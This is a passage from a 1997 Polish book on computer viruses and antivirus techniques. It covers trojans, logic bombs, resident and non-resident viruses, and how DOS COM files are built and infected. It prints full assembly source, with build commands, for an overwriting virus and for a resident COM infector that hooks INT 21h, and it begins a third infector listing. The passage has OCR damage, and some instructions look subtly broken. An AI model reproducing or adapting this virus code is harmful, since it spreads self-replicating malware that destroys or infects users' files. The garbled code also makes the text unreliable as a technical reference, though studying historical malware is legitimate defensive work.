gdzie mają do dyspozycji protokoły transmisji sieciowej, dzięki którym mogą przemieszczać się po całej sieci. 2.7. Konie trojańskie (ang. trojan horses) Koń trojański nie jest wirusem komputerowym, ale ze względu na swoje działanie (najczęściej destrukcyjne) często bywa z nim utożsamiany. Zasada działania koma trojańskiego jcst banalnie prosta. Uruchomio-ny, wykonuje niby to normalną prace, bezpośrednio wynikająca , przeznaczenia programu (np.: gra, demo, program użytkowy), lecz dodatkowo, niejako w tle, wykonuje jakies niezauważalne dla użyt-kownika operacje, (najczęściej po prostu niszczy - kasuje lub zamazu-je - dane na dysku twardym). Konie trojańskie najczęściej przenoszą sie w plikach udających nowe, popularne programy kompresujące (np.: PKZIP, ARJ. RAR) lub też udają programy narzedziowe do obsługi dysków. 2.8. Bomby logiczne (ang. logical bombs) O ile koń trojański wykonuje brudną robotę od razu po uruchomieniu, o tyle bomba swe destrukcyjne oblicze ukazuje tylko w określonym odpowiednimi warunkami czasie (najczęściej zależnie od aktualnej daty lub liczby poprzednich wywołań programu). Ze względu na to, iż właściwy, destrukcyjny kod może być ukryty w dowolnym miejscu programu zawierającego bombę, należy ostrożnie obchodzić się z aplikacjami, których pochodzenie jest nieznane. Mianem bomby określa się często także destrukcyjny, uruchamiany tylko po spełnieniu jakiegoś warunku, kod zawarty w wirusach. ROZDZIAŁ 3 3.1. Wirusy nierezydentne (ang. non-resident viruses) Wirusy nierezydentne są najprostszą odmianą wirusów komputerowych zarażających pliki wykonywalne. Po uruchomieniu nosiciela poszukiwany jest, najczęściej przy pomocy funkcji (4E/4F/21), kolejny obiekt do zarażenia. W przypadku nie znalezienia żadnego kandydata, sterowanie oddawane jest do nosiciela, w przeciwnym razie znaleziony plik jest infekowany. Ofiary poszukiwane są w bieżącym katalogu i/lub w katalogach określonych w zmiennej środowiskowej PATH, i/lub w podkatalogach bieżącego katalogu, i/lub w katalogu głównym. Z reguły wirus taki nie przejmuje żadnego przerwania (ewentualnie na czas infekcji przejmowane jest przerwanie programowe 24h, które jest odpowiedzialne za obsługę błędów krytycznych). Główną wadą wirusów nierezydentnych jest to, iż poszukiwanie ofiar przy starcie programu wiąże się najczęściej z dużym opóźnieniem w uruchomieniu właściwego programu oraz łatwo zauważalną przez użytkownika wzmożoną aktywnością przeszukiwanego nośnika. Drugim poważnym mankamentem jest to, iż zarażają one tylko i wyłącznie po uruchomieniu nosiciela, a więc nie mogą efektywnie infekować plików ani też skutecznie maskować swej obecności w7 systemie, tak jak czynią to wirusy rezydentne. Wirusy nierezydentne są najczęściej wypuszczane przez oszołomionych pierwszym sukcesem, początkujących twórców^ wirusów. O tym, jak prosto napisać najprymitywniejszą wersję wirusa nierezydentnego, niech świadczy poniższa krótka sekwencja napisana w asemblerze. Po skompilowaniu otrzymujemy program, który po uruchomieniu szuka przy pomocy funkcji (4E/21) pierwszego pliku o rozszerzeniu COM w aktualnym katalogu i po ewentualnym jego znalezieniu przepisuje swój kod na początek ofiary. Wirus ten jest bardzo prymitywny w swym działaniu, gdyż nieodwracalnie niszczy zarażany przez siebie plik (jest to wirus nadpisujący), a także nie posiada żadnej obsługi błędów (w przypadku nieznalezienia ofiary wirus "zainfekuje"... ekran). Jego wykrycie to kwestia bardzo krótkiego czasu (programy COM przestaną "nagle" działać). ;----------------------------------------------------------------------------; ; ; ; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ; ; ; ; PRYMITYW v1.0, Autor : Adam Blaszczyk 1997 ; ; ; ; Prymitywny wirus nierezydentny nadpisujacy, ; ; atakujacy i niszczacy pierwszy znaleziony ; ; w katalogu plik COM ; ; Kompilacja : ; ; TASM PRYMITYW.ASM ; ; TLINK /t PRYMITYW.OBJ ; ; ; ;----------------------------------------------------------------------------; PRYMITYW SEGMENT ASSUME CS: PRYMITYW, DS:PRYMITYW ORG 100h WirDlug = Offset (WirKoniec-WirStart) ; WirDlug okresla dlugosc calego kodu wirusa WirStart: mov cx,20h ; atrybut poszukiwanej pozycji katalogu (Archive) mov dx,Offset PlikiCOM ; szukaj plikow *.COM mov ah,4Fh ; funkcja DOS - szukaj pozycji w katalogu int 21h ; wywolaj funkcje mov ax,3D02h ; funkcja DOS - otworz plik do odczytu i zapisu mov dx,9Fh ; nazwa znalezionego pliku w buforze DTA ; znajdujacym sie pod adresem CS:80h int 21h ; wywolaj funkcje xchg ax,bx ; przenies uchwyt pliku z AX do BX mov cx,WirDlug ; podaj ile bajtow zapisac mov dx,100h ; zapisuj spod adresu CS:100h mov ah,30h ; funkcja DOS - zapisz do pliku int 21h ; wywolaj funkcje ret ; rownoznaczne z wykonaniem Int 20h PlikiCOM db '*.COM' ; maska dla poszukiwanych pozycji w katalogu WirKoniec: PRYMITYW ENDS END WirStart 3.2. Wirusy rezydentne (ang. resident viruses) Autorzy wirusów szybko zorientowali się, że działające tylko po uruchomieniu nosiciela wirusy nierezydentne mają dość ograniczone pole manewru, stąd też poszukiwali Jakiegoś mechanizmu, który pozwalałby na nieprzerwane monitorowanie systemu operacyjnego. Z pomocą przyszli im nieświadomie sami autorzy systemu DOS, implementując w typowo jednozadaniowym środowisku mechanizm sztucznej wielozadaniowości. Zasada działania wirusów rezyden-tnych polega bowiem na zainstalowaniu się w pamięci operacyjnej komputera i przejęciu odpowiednich odwołań do systemu w sposób podobny do tego, w jaki czynią to programy typu TSR (ang. Terminate but Stay Resident). W zasadzie typowy wirus rezydentny to program TSR, który po zainstalowaniu ukrywa swój kod przed programami przeglądającymi pamięć. Aktywny i jednocześnie ukryty w pamięci, ma o wiele szersze pole manewru niż wirusy nierezydentne. Monitorowanie odpowiednich funkcji DOS i BIOS pozwala mu bowiem przy każdej dowolnej próbie dostępu na infekcję plików lub sektorów. Możliwe staje się także zastosowanie techniki zaawansowanego ukrywania się w systemie (tzw. technika stealth, omówiona w dalszej części opracowania). Zawładnięcia systemem dokonuje się poprzez przejęcie odpowiednich przerwań sprzętowych i funkcji obsługiwanych przez ogólnie dostępne przerwania programowe. Ze względu na szybkość mnożenia się wirusy rezydentne dzieła się na szybkie intektory i wolne infektory. Poniżej przedstawiono przykład prostego wirusa rezydentnego, infekującego pliki COM podczas ich uruchamiania. ;----------------------------------------------------------------------------; ; ; ; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ; ; ; ; KOMBAJN v1.0, Autor : Adam Blaszczyk 1997 ; ; ; ; Prosty wirus rezydentny plikow COM ; ; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ; ; Przejmuje przerwanie 21h ; ; Przejmuje przerwanie 24h na czas infekcji ; ; ; ; Kompilacja : ; ; TASM KOMBAJN.ASM ; ; TLINK /t KOMBAJN.OB J ; ; ; ;----------------------------------------------------------------------------; JUMPS KOMBAJN SEGMENT ASSUME CS:KOMBAJN, DS:KOMBAJN ORG 100h Haslo = 0BACAh ; \ do sprawdzenia, czy wirus jest Odpowiedz = 0CABAh ; / juz zainstalowany w pamieci NUL = 00h ; \ LF = 0Ah ; - stale znakow CR = 0Dh ; / AtrReadOnly = 00000001b ; \ AtrHidden = 00000010b ; \ AtrSystem = 00000100b ; \ rozne stale atrybutow AtrVolumeID = 00001000b ; / pozycji katalogu AtrDirectory = 00010000b ; / AtrArchive = 00100000b ; / VRok = 1998 ; \ data opisujaca VMiesiac = 13 ; - pliki juz zainfekowane VDzien = 31 ; / VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa) DlugoscWPamieci = (DlugoscWirusa +31)/16 Start: ; poczatek wirusa PoczatekWirusa: ; pomocnicza etykieta Call Trik ; zapisz na stosie relatywny ofset Trik: pop si ; zdejmij ze stosu relatywny ofset sub si,103h ; oblicz ofset do poczatku wirusa mov ax,Haslo ; \ sprawdz, czy wirus jest int 21h ; / juz w pamieci cmp ax,Odpowiedz ; \ czy kopia wirusa odpowiedziala ? jne InstalacjaWPamieci ; / NIE - zainstaluj ; TAK - wypisz komunikat lea di,TeBylZainstalowany ; / call DrukSI ; / jmp PowrocDoNosiciela ; i powroc do nosiciela InstalacjaWPamieci: ; poczatek instalacji lea di,TeCopyRight ; \ wyswietl info o wirusie Call DrukSI ; / lea di,TeInstalacja ; \ zapytaj uzytkownika, czy chce Call DrukSI ; \ zainstalowac wirusa w pamieci Call Decyzja ; / jc PowrocDoNosiciela ; / CF=1 - uzytkownik nie chce instalowac mov ax,3521h ; funkcja DOS - wez adres INT 21 int 21h ; wywolaj funkcje mov [si][Stare21Seg],es ; \ zachowaj adres (wirus bedzie go mov [si][Stare21Ofs],bx ; / uzywal) mov ax,ds ; przywroc ES mov es,ax ; AX=ES=DS=CS=SS=PSP dec ax ; AX=ES-1=MCB do aktualnego bloku mov ds,ax ; DS=blok MCB mov bx,word ptr ds:[0003h] ; wez dlugosc aktualnego bloku sub bx,DlugoscWPamieci+1 ; zmniejsz go o dlugosc wirusa mov ah,4Ah ; funkcja DOS - zmien rozmiar bloku pamieci int 21h ; wywolaj funkcje mov bx,DlugoscWPamieci ; podaj dlugosc wymaganego bloku pamieci mov ah,48h ; funkcja DOS - przydzial bloku int 21h ; wywolaj funkcje jc PowrocDoNosiciela ; CF=1 - nie udalo sie przydzielic mov es,ax ; ES=wskazuje na przydzielony blok xor di,di ; ES:DI - dokad skopiwoac cld ; zwiekszaj SI, DI w REP MOVSB push si ; SI bedzie zmieniany, wiec zachowaj add si,offset PoczatekWirusa ; dodaj ofset : skad kopiowac mov cx,DlugoscWirusa ; cx=ile bajtow kopiowac rep movs byte ptr es:[di], cs:[si] ; kopiuj z CS:SI do ES:DI, CX bajtow pop si ; przywroc relatywny ofset mov ax,es ; pobierz adres do MCB opisujacego dec ax ; blok, w ktorym jest wirus mov ds,ax ; DS=MCB wirusa mov word ptr ds:[0001h],0008h ; ustaw MCB wirusa, jako systemowy sub ax,0Fh ; \ DS=adres bloku-10h mov ds,ax ; \ sztuczka, dzieki ktorej mozna ; / odwolywac sie do danych jak w ; / zwyklym programie COM (ORG 100h) mov dx,Offset NoweInt21 ; DX=adres do nowej procedury INT 21h mov ax,25FFh ; funkcja DOS - ustaw adres INT 21 int 21h ; wywolaj funkcje push cs ; \ wyswietl komunikat o pop ds ; \ instalacji w pamieci lea di,TeZainstalowany ; \ i segment, w ktorym Call DrukSI ; / rezyduje wirus mov ax,es ; / Call DrukHEX16 ; / PowrocDoNosiciela: ; push cs cs ; \ przywroc DS=ES=CS=PSP pop ds es ; / mov al,byte ptr [si][StareBajty] ; \ przywroc 3 poczatkowe bajty mov ds:[100h],al ; \ programu pod adresem CS:100h mov ax,word ptr [si][StareBajty+1] ; / mov ds:[101h],ax ; / mov ax,100h ; \ zachowaj na stosie slad do push ax ; / adresu 100h xor ax,ax ; \ dla bezpieczenstwa xor bx,bx ; \ lepiej wyzerowac rejestry xor cx,cx ; \ robocze xor dx,dx ; / xor si,si ; / xor di,di ; / ret ; powroc do nosiciela PytanieOInstalacje: ; \ odpowiedz rezydujacego xchg al,ah ; - wirusa na pytanie, czy jest iret ; / w pamieci NoweInt21: cmp ax,4B00h ; czy funkcja DOS - uruchom program ? je InfekcjaPliku ; TAK - sprobuj infekowac cmp ax,Haslo ; czy pytanie wirusa o instalacje ? je PytanieOInstalacje ; TAK - odpowiedz ze zainstalowany jmp PowrotZInt21 ; idz do poprzedniego lancucha ; przerwan InfekcjaPliku: push es ds ax bx cx dx si di ; zachowaj zmieniane rejestry mov cs:StaryDS, ds ; \ zachowaj adres do nazwy pliku mov cs:StaryDX, dx ; / mov ax,3524h ; \ pobierz stara i ustaw Call StareInt21 ; \ nowa procedure obslugi mov cs:Stare24Seg,es ; \ przerwania krytycznego mov cs:Stare24Ofs,bx ; \ INT 24h w celu ochrony ; \ przed ewentulanymi bledami push cs ; / (np; podczas proby zapisu pop ds ; / na zabezpieczonej przed lea dx,NoweInt24 ; / zapisem dyskietce, nie mov ax,2524h ; / zostanie wywolany dialog Call StareInt21 ; / ARIF) mov ds,cs:StaryDS ; DS=wskazuje na nazwe pliku mov dx,cs:StaryDX ; podaj nazwe pliku mov ax,4300h ; funkcja DOS - czytaj atrybut Call StareInt21 ; wywolaj stare przerwanie 21h jc PrzywrocAtrybut ; gdy CF=1, to blad, wiec powrot mov cs:Atrybut,cl ; wez stary atrybut mov ax,4301h ; funkcja DOS - zapisz atrybut mov cx,AtrArchive ; podaj nowy atrybut : Archive Call StareInt21 ; wywolaj stare przerwanie 21h jc PrzywrocAtrybut mov ax,3D02h ; funkcja DOS - otworz plik ; do odczytu i zapisu Call StareInt21 ; wywolaj stare przerwanie 21h jc PrzywrocAtrybut ; gdy CF=1, to blad xchg ax,bx ; przenies uchwyt pliku do BX mov ax,5700h ; funkcja DOS - wpisz date, czas Call StareInt21 ; wywolaj stare przerwanie 21h mov cs:Czas,cx ; zachowaj czas pliku na pozniej cmp dx,VZnacznik ; czy plik jest juz zainfekowany ? je ZamknijPlik ; TAK - zamknij plik, powrot push cs ; \ DS=CS=segment wirusa pop ds ; / mov cx,3 ; ilosc czytanych bajtow lea dx,StareBajty ; podaj dokad czytac 3 bajty mov ah,3Fh ; funkcja DOS - czytaj z pliku Call StareInt21 ; wywolaj stare przerwanie 21h jc ZamknijPlik ; gdy CF=1, to blad mov ax,word ptr [StareBajty] ; wez dwa pierwsze bajty pliku cmp ax,'MZ' ; i sprawdz, czy to nie EXE je ZamknijPlik ; gdy "MZ", to plik EXE, powrot cmp ax,'ZM' ; je ZamknijPlik ; gdy "ZM", to plik EXE, powrot xor cx,cx ; \ zeruj CX:DX zawierajace xor dx,dx ; / adres wzgledem konca pliku mov ax,4202h ; funkcja DOS - zmien wskaznik ; odczytu/zapisu na koniec pliku Call StareInt21 ; wywolaj stare przerwanie 21h jc ZamknijPlik ; gdy CF=1, to blad ; DX=starsza czesc dlugosci pliku or dx,dx ; czy plik krotszy niz 65536 ? jnz ZamknijPlik ; nie - nie infekuj cmp ax,64000 ; czy dlugosc <= 64000 ? jmp ZamknijPlik ; nie - nie infekuj cmp ax,3 ; czy dlugosc >= 3 ? jb ZamknijPlik ; nie - nie infekuj sub ax,3 ; odejmij dlugosc skoku E9 ?? ?? mov word ptr [Skok+1],ax ; zapisz do bufora rozkaz skoku lea di,TeZnalazlemPlik ; \ zapytaj uzytkownika Call Druk ; \ czy chce zainfekowac ; \ plik mov di,cs:StaryDX ; \ (nazwa pliku jest mov ds,cs:StaryDS ; \ wyswietlana) Call Druk ; \ ; - (dzieki temu uzytkownik push cs ; / ma pelna kontrole nad pop ds ; / tym, co wirus infekuje) lea di,TeInfekcja ; / Call Druk ; / Call Decyzja ; / jc ZamknijPlik ; / gdy CF=1, uzytkownik nie pozwala mov cx,DlugoscWirusa ; ilosc zapisywanych bajtow mov dx,100h ; podaj skad zapisac wirusa mov ah,30h ; funkcja DOS - zapisz do pliku Call StareInt21 ; wywolaj stare przerwanie 21h jc ZamknijPlik ; gdy CF=1, to blad xor cx,cx ; \ zeruj CX:DX zawierajace xor dx,dx ; / adres wzgledem poczatku pliku mov ax,4200h ; funkcja DOS - zmien wskaznik ; odczytu/zapisu na poczatek pliku Call StareInt21 ; wywolaj stare przerwanie 21h jc ZamknijPlik ; gdy CF=1, to blad mov cx,3 ; ilosc zapisywanych bajtow lea dx,Skok ; podaj skad zapisac rozkaz skoku mov ah,30h ; funkcja DOS - zapisz do pliku Call StareInt21 ; wywolaj stare przerwanie 21h jc ZamknijPlik ; gdy CF=1, to blad mov cx,Czas ; przywroc czas mov dx,VZnacznik ; zaznacz w dacie infekcje pliku mov ax,5701h ; funkcja DOS - wpisz date, czas Call StareInt21 ; wywolaj stare przerwanie 21h ZamknijPlik: mov ah,3Eh ; funkcja DOS - zamknij plik Call StareInt21 ; wywolaj stare przerwanie 21h PrzywrocAtrybut: mov cl,cs:Atrybut ; podaj stary atrybut mov ch,0 ; CX=CL mov dx,cs:StaryDX ; podaj nazwe pliku do zmiany mov ds,cs:StaryDS ; w DS:DX mov ax,4301h ; funkcja DOS - zmien atrybut Call StareInt21 ; wywolaj stare przerwanie 21h lds dx,dword ptr cs:Stare24Ofs ; \ przywroc stare przerwanie mov ax,2524h ; - INT 24 Call StareInt21 ; / pop di si dx cx bx ax ds es ; przywroc zmieniane rejestry PowrotZInt21: db 0EAh ; mnemonik rozkazu skoku JMP FAR Stare21Ofs dw ? ; (z tych pol korzysta skok Stare21Seg dw ? ; aby oddac sterowanie do poprzedniego ; elementu lancucha przerwan INT 21) StareInt21: pushf ; \ symuluj wywolanie przerwania Call dword ptr cs:[Stare21Ofs] ; / wywolaj stare przerwanie ret ; powroc z wywolania DrukSI: ; procedura wyswietla tekst z ; CS:[DI+SI] add di,si ; tekst w DI, dodaj SI Druk: ; procedura wyswietla tekst z ; CS:[DI] push ax di ; zachowaj zmieniane rejestry DrukPetla: mov al,[di] ; pobierz znak or al,al ; czy koniec tekstu (znak=NUL) ? jz DrukPowrot ; TAK - kocz pisanie mov ah,0Eh ; funkcja BIOS - wyswietl znak int 10h ; wywolaj funkcje inc di ; zwieksz indeks (na nastepny znak) jmp short DrukPetla ; idz po nastepny znak DrukPowrot: pop di ax ; przywroc zmieniane rejestry ret ; powrot DrukHEX16: ; drukuje liczbe heksalna z AX push ax ; zachowaj AX (dokladniej AL) mov al,ah ; najpierw starsza czesc Call DrukHex8 ; wyswietl AH pop ax ; przywroc AX (dokladniej AL) ; i wyswietl AL DrukHex8: ; drukuje liczbe heksalna z AL push ax ; zachowaj AX (dokladniej 4 bity AL) shr al,1 ; \ shr al,1 ; \ podziel AL przez 16, shr al,1 ; / czyli wez 4 starsze bity AL shr al,1 ; / Call DrukHex4 ; i wydrukuj czesc liczby szesnastkowej pop ax ; przywroc AX (dokladniej 4 bity AL) and al,15 ; wez 4 mlodsze bity AL ; i wydrukuj czesc liczby szesnastkowej DrukHex4: cmp al,10 ; \ konwersja liczby binarnej jb Cyfra09 ; \ na znak add al,'A'-'0'-10 ; - 00..09, 0Ah..0Fh na Cyfra09: ; / '0'..'9', 'A'..'F' add al,'0' ; / mov ah,0Eh ; funkcja BIOS - wyswietl znak int 10h ; wywolaj funkcje ret ; powrot Decyzja: ; \ pobiera z klawiatury mov ah,0h ; \ znak i sprawdza, czy jest int 16h ; \ to litera 'T'lub 't' and al,0DFh ; \ jezeli tak, ustawia CF=0 cmp al,'T' ; \ jezeli nie, ustawia CF=1 clc ; / je DecyzjaTak ; / stc ; / DecyzjaTak: ; / ret ; / NoweInt24: ; mov al,3 ; sygnalizuj CF=1, gdy dowolny blad ; nie wywoluj ARIF iret ; powrot z przerwania TeCopyRight db CR,LF,'KOMBAJN v1.0, Autor : Adam Blaszczyk 1997' db CR,LF,NUL TeInstalacja db CR,LF,'_ Zainstalowac KOMBAJNA w pamieci operacyjnej (T/N) ?',NUL TeBylZainstalowany db CR,LF,'_ KOMBAJN jest juz w pamieci !',NUL TeZainstalowany db CR,LF,'_ KOMBAJN zostal zainstalowany w segmencie : ',NUL TeZnalazlemPlik db CR,LF,'_ Znalazlem plik : "',NUL TeInfekcja db '"',CR,LF,' Czy chcesz sprobowac zainfekowac go KOMBAJNEM (T/N) ?',NUL StareBajty db 0CDh,20h,90h Skok db 0E9h KoniecWirusa: all: Skok2 dw ? StaryDS dw ? StaryDX dw ? Atrybut db ? Czas dw ? Stare24Ofs dw ? Stare24Seg dw ? KOMBAJN ends end start 3.2.1. Szybkie infektory (ang.fast infectors) Szybkie infektory przejmują wszystkie możliwe funkcje systemu DOS, używane do obsługi plików i zarażają wszystko, co się da, w maksymalnie krótkim czasie, co powoduje, iż po okresie bardzo szybkiej ekspansji wirusa w danym systemie następuje jego pasywacja, gdyż wirus nie może znaleźć kolejnej ofiary do zarażenia. Często pierwszą czynnością wykonywaną przez wirusa jest zniszczenie w pamięci kodu zamazywalnej części interpretatora poleceń, co sprawia, że przy następnym wywołaniu jakiegokolwiek polecenia z poziomu DOS plik zawierający interpretator poleceń (czyli najczęściej COMMAND.COM) zostanie ponownie uruchomiony i w efekcie natychmiast zainfekowany. Duża aktywność szybkiego infektora będzie na pewno łatwo zauważalna dla użytkownika - nawet tego, który słabo zna system. Użycie najlepszych nawet technik stealth (dość często stosowanych przez tego typu wirusy) także się nie sprawdzi, zwłaszcza gdy użytkownik wykonuje dużo operacji dyskowych. 3.2.2. Wolne infektory (ang. slow infectors) Wirusy tego typu są bardziej wyrafinowane niż szybkie infektory. Ich głównym celem nie jest maksymalnie szybka ekspansja w systemie, lecz raczej jak najdłuższe przetrwanie. Wirusy te używają najczęściej wolnych, kilkustopniowych, zmiennych procedur szyfrujących i techniki stealth. Infekują najczęściej tylko takie obiekty, które modyfikuje lub tworzy użytkownik, a więc nawet w przypadku sygnalizowania jakiejś niebezpiecznej operacji przez ewentualny program antywirusowy użytkownik będzie przekonany, iż potwierdza wykonywane przez siebie czynności. Są to wirusy bardzo trudne do wykrycia i usunięcia, nawet przez bardzo zaawansowane programy antywirusowe. ROZDZIAŁ 4 4.1. Pliki Jedną z najczęściej wykorzystywanych dróg, jaką przenoszą się wirusy. są pliki. Na samym początku były to tylko pliki wykonywalne COM, a potem EXE. Z czasem jednak liczba różnorodnych plików branych pod uwagę przez twórców wirusów wzrosła. Można powiedzieć, iż w kręgu zainteresowań ludzi piszących wirusy są wszystkie pliki, które posiadają w swym wnętrzu struktury zawierające instrukcje sterujące oraz funkcje operujące na plikach i/lub sektorach. Mogą to więc być pliki wykonywalne (COM, EXE), wsadowe (BAT), pliki zawierające sterowniki (SYS, BIN, DRV), pliki z modułami wykonywalnymi (OBJ, LIB, DLL, OV?, BGI, TPU, 386, VXD i inne), a także pliki programów, udostępniające użytkownikom definiowanie makr (DOC, XLS, SAM). Spotykane są także wirusy nietypowe, np. atakujące programy napisane w asembłerze (ASM). Rodzaj pliku rozstrzygany jest najczęściej na podstawie jego wewnętrznej budowy, tak więc w większości przypadków zmiana rozszerzenia pliku nie pozwala na uchronienie go przed infekcją. Wewnętrzna struktura najczęściej zarażanych plików oraz sposoby ich infekcji omówione zostały poniżej. W rozdziale opisującym infekcję plików COM zawarto dodatkowo informacje na temat struktur tworzonych przez DOS podczas uruchamiania programów (blok wstępny programu, otoczenie programu). 4.1.1. Pliki wykonywalne COM Ze względu na swą prostą budowę programy typu COM od początku stanowiły smakowity kąsek dla twórców wirusów. Zawierają one kod programu w tzw. postaci absolutnej, dlatego też ich ładowanie do pamięci polega na wczytaniu zawartości pliku pod adres znajdujący się bezpośrednio po tworzonym dla każdego procesu bloku wstępnym PSP i wykonaniu dalekiego skoku na początek programu, a więc ich obraz w pamięci jest wierną kopią zawartości pliku. Wygląd programu COM po załadowaniu do pamięci przedstawia poniższa tabela. Wygląd programu COM po załadowaniu do pamięci: Adres (względem segmentu), do którego został załadowany plik COM Zawartość pamięci CS:0000-CS:0100 Blok wstępny PSP (patrz następna tabela) CS:0000-CS:???? Kod programu załadowany z pliku Format bloku wstępnego programu PSP Adres w pamięci Zawartość 00-01 Kod rozkazu int 21 h (CD 21) 02-03 Adres segmentu pamięci niedostępnej dla programu 04 Nie używane przez DOS, używane wewnętrznie przez OS/2 05-09 Dalekie odwołanie do systemu DOS (rozkaz wywołania dalekiej procedury) 06-07 Rozmiar dostępnej pamięci w segmencie 0A-0D Zapamiętywany adres zakończenia programu (int 22h) 0E-11 Adres programu obsługi CTRL-BREAK (int 23h) 12-15 Adres programu obsługi błędów krytycznych (int 24h) 16-17 Adres do segmentu pamięci, gdzie znajduje się blok PSP programu rodzicielskiego (interpretator poleceń modyfikuje to pole i wstawia tam adres swojego PSP) 18-2B Tablica plików obsługiwanych przez proces JFT (ang. Job File Table); każdy element tablicy zawiera indeks wskazujący na element SFT (ang. System File Table) opisujący wszystkie otwarte w systemie pliki lub też wartość FF, jeżeli element nie jest używany 2C-2D Adres segmentu pamięci, w którym znajduje się otoczenie programu, zawierające definicje zmiennych środowiskowych systemu DOS, takich jak PATH, PROMPT Ud. Każdy element otoczenia oddzielany jest znakiem NUL (kod 00); funkcja 4B rozszerza otoczenie programu poprzez dodanie jednego słowa określającego ilość dodatkowych łańcuchów ASCIIZ (zwykle 0001), a następnie umieszcza dalej nazwę uruchamianego programu. Umożliwia to procesowi dotarcie do pliku na dysku zawierającego kod uruchomionego programu - jest to parametr paramstr(0) w Pascalu i argv[0] w C. 2E-31 Zapamiętane wartości SS:SP (używane podczas wywoływania funkcji DOS) aktualnego procesu; DOS zapamiętuje je przed przełączeniem się na własny stos 32-33 Liczba elementów tablicy JFT (standardowo =20) 34-37 Daleki wskaźnik do tablicy plików JFT (standardowo CS:18) umożliwia rozszerzenie ilości plików wykorzystywanych przez proces 38-3B Daleki wskaźnik do poprzedniego bloku wstępnego PSP 3C-4F Pola wykorzystywane wewnętrznie przez różne systemy operacyjne 50-52 Kod rozkazów: INT 21 h RETF 53-54 Nie używane 55-5B Nie używane, można użyć, aby zmienić standardowy blok FCB na rozszerzony blok FCB 5C-6B Standardowy blok opisu pliku FCB1 6C-7B Standardowy blok opisu pliku FCB2 7C-7F Nie używane 80-FF Bufor transmisji dyskowych DTA. Bezpośrednio po uruchomieniu programu zawiera jego wiersz wejściowy, zawierający parametry podane z linii poleceń, zakończony znakiem CR (0D). Bajt pod adresem 80 określa długość wiersza wejściowego nie uwzględniając znaku CR. Przekazując sterowanie do programu COM system DOS inicjuje kilka rejestrów ustalonymi wartościami. Rejestry segmentowe CS, DS, SS, ES wskazują na adres bloku PSP programu, IP=100h, SP wskazuje na koniec pamięci dostępnej w segmencie (zwykle FFFE), na stosie umieszczana jest wartość 0000. Sposób infekcji plików COM jest bardzo prosty. Na końcu zarażanego pliku należy dopisać kod wirusa, a na początku pliku, po uprzednim zapamiętaniu oryginalnych bajtów, umieścić rozkaz przenoszący sterowanie do wirusa (najczęściej jest to 3-bajtowy rozkaz JMP NEAR, posiadający kod maszynowy OE9h 00 00, gdzie 00 00 jest wartością dodawaną do wskaźnika instrukcji IP po wykonaniu rozkazu). Po uruchomieniu sterowanie zostaje przekazane najpierw do wirusa, a ten z kolei, po wykonaniu odpowiednich czynności, przywraca początkowe bajty programu i wykonuje skok pod adres CS:0100h. Nie jest to jedyna metoda zarażania plików COM. Niektóre wirusy przesuwają w pliku kod oryginalnego programu, a w tak powstałe miejsce wpisują swój kod. Ze względu na większą ilość operacji, jakie muszą wykonać, aby zainfekować plik, są dość łatwo wykrywane, gdyż znacząco opóźniają wykonanie oryginalnych programów. Jeszcze inna metoda polega na umieszczeniu kodu wirusa w dowolnym miejscu infekowanego pliku, jednak ze względu na trudności implementacyjne jest ona rzadko stosowana. Infekując pliki COM należy pamiętać, iż programy tego typu mogą mieć długość nie większą niż 64kB-100h-2 bajty. Odejmowana wartość 100h jest długością bloku PSP, tworzonego na początku segmentu, do którego ładowany jest program., a wartość 2 wynika z faktu umieszczenia przed startem programu wartości 0000h na stosie. Po wczytaniu programu przez DOS wskaźnik stosu (SP) programu ustawiany jest na końcu segmentu, do którego został on załadowany, stąd też za maksymalną długość, której nie może przekroczyć plik, należy przyjąć wartość mniejszą od 65278, np. 65000 bajtów lub nawet mniej. Nieuwzględnienie powyższego faktu spowoduje, iż po załadowaniu zbyt długiego pliku COM niszczona będzie część programu znajdująca się przy końcu segmentu (przez wartości zapisywane na stosie). W tablicach poniżej przedstawiono wygląd programu COM przed i po zarażeniu wirusem. Struktura niezainfekowanego pliku COM Zawartość pliku Kod programu w tzw. postaci absolutnej Struktura zainfekowanego pliku COM - wirus dopisuje się na końcu pliku Zawartość pliku Rozkaz skoku do wirusa (najczęściej jest to rozkaz o kodzie OE9h 00 00, czyli JMP NEAR) Kod zainfekowanego programu Kod wirusa wraz z zapamiętanymi bajtami początkowymi Struktura zainfekowanego pliku COM -wirus przesuwa kod oryginalnego programu Zawartość pliku Kod wirusa Przesunięty kod zainfekowanego programu Poniżej przedstawiono przykład prostego, nierezydentncgo wirusa infekującego pliki COM. ;----------------------------------------------------------------------------; ; ; ; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ; ; ; ; KOMORKA v1.0, Autor : Adam Blaszczyk 1997 ; ; ; ; Prosty wirus nierezydentny plikow COM ; ; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ; ; znajdujace sie w biezacym katalogu ; ; ; ; Kompilacja : ; ; TASM KOMORKA.ASM ; ; TLINK /t KOMORKA.OBJ ; ; ; ;----------------------------------------------------------------------------; KOMORKA SEGMENT JUMPS ASSUME CS:KOMORKA, DS:KOMORKA ORG 100h NUL = 00h ; \ LF = 0Ah ; \ stale znakow CR = 0Dh ; / ASCII DOLAR = '$' ; / AtrReadOnly = 00000001b ; \ AtrHidden = 00000010b ; \ AtrSystem = 00000100b ; \ rozne stale atrybutow AtrVolumeID = 00001000b ; / pozycji katalogu AtrDirectory = 00010000b ; / AtrArchive = 00100000b ; / Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID ; atrybut poszukiwanej pozycji ; katalogu VirusDlug = offset (VirusEnd-VirusStart) ; dlugosc kodu wirusa VRok = 1998 ; \ data opisujaca VMiesiac = 13 ; - pliki juz zainfekowane VDzien = 31 ; / VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien DTAStruc struc ; struktura DTA bufora transmisji ; dyskowych uzywanych przez ; funkcje 4E i 4F DTAFill db 21 dup (?) ; nieistotna czesc DTAAttr db ? ; atrybut znalezionej pozycji DTATime dw ? ; czas znalezionej pozycji DTADate dw ? ; data znalezionej pozycji DTASize dd ? ; dlugosc znalezionej pozycji DTAName db 13 dup (?) ; nazwa znalezionej pozycji DTAStruc ends Start: ; tu zaczyna sie program ofiary db 0E9h,00h,00h ; symuluj rozkaz JMP NEAR ; bedacy czescia zarazonego ; programu 